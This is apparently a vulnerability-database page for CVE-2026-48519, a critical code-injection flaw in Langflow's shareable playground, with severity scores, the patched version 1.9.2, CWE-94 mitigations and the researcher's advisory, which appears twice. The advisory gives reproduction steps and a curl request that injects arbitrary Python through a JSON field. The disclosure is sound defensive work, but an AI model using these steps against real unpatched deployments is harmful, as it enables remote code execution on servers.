CVE-2026-48519: Langflow — CRITICAL

### Summary The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details Shareable Playground feature works by...

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Langflow	pip	<= 1.9.1	`1.9.2`
149.6K Pushed 2d ago 37% patched ~57d to patch Full package profile →

Do you use Langflow? You're affected.

How severe is it?

CVSS 3.1

9.6 / 10

EPSS

0.1%

chance of exploitation in 30 days

Higher than 26% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Network

AC Low

PR None

UI Required

S Changed

C High

I High

A High

What should I do?

Patch available

Update Langflow to version 1.9.2

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-48519?

### Summary The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload! The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example. ### PoC Reproduction: 1. Create a new flow and add a Chat Input node to it 2. Share the flow ("Shareable Playground") 3. Access the public link with the browser developers tools open and execute the flow. 4. Find the `/api/v1/build_public_tmp` route and copy as cURL 5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command. Example PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json): ```bash curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \ -H 'Content-Type: application/json' \ -b 'client_id=anything' \ --data-raw "$(cat test_with_python.json)" ``` Search for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code. The stacktrace for the code executed is: ``` ... File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events ids, vertices_to_run, graph = await build_graph_and_get_order() File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order graph = await create_graph(fresh_session, flow_id_str, flow_name) File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph return await build_graph_from_data( File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id")) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload graph.add_nodes_and_edges(vertices, edges) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges self.initialize() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize self._build_graph() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph self._instantiate_components_in_vertices() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices vertex.instantiate_component(self.user_id) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component self.custom_component, _ = initialize.loading.instantiate_class( File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class custom_component: CustomComponent | Component = class_object( File "<string>", line 59, in __init__ ``` ### Impact Unauthenticated RCE on any deployment with a shareable playground. Ori Lahav Security Researcher @ Rubrik Inc.

Is CVE-2026-48519 actively exploited?

No confirmed active exploitation of CVE-2026-48519 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-48519?

Update to patched version: Langflow 1.9.2.

What is the CVSS score for CVE-2026-48519?

CVE-2026-48519 has a CVSS v3.1 base score of 9.6 (CRITICAL). The EPSS exploitation probability is 0.09%.

What are the technical details?

Original Advisory

### Summary The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload! The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example. ### PoC Reproduction: 1. Create a new flow and add a Chat Input node to it 2. Share the flow ("Shareable Playground") 3. Access the public link with the browser developers tools open and execute the flow. 4. Find the `/api/v1/build_public_tmp` route and copy as cURL 5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command. Example PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json): ```bash curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \ -H 'Content-Type: application/json' \ -b 'client_id=anything' \ --data-raw "$(cat test_with_python.json)" ``` Search for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code. The stacktrace for the code executed is: ``` ... File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events ids, vertices_to_run, graph = await build_graph_and_get_order() File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order graph = await create_graph(fresh_session, flow_id_str, flow_name) File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph return await build_graph_from_data( File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id")) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload graph.add_nodes_and_edges(vertices, edges) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges self.initialize() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize self._build_graph() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph self._instantiate_components_in_vertices() File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices vertex.instantiate_component(self.user_id) File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component self.custom_component, _ = initialize.loading.instantiate_class( File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class custom_component: CustomComponent | Component = class_object( File "<string>", line 59, in __init__ ``` ### Impact Unauthenticated RCE on any deployment with a shareable playground. Ori Lahav Security Researcher @ Rubrik Inc.

Weaknesses (CWE)

CWE-94 Improper Control of Generation of Code ('Code Injection') Primary

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

[Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
[Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.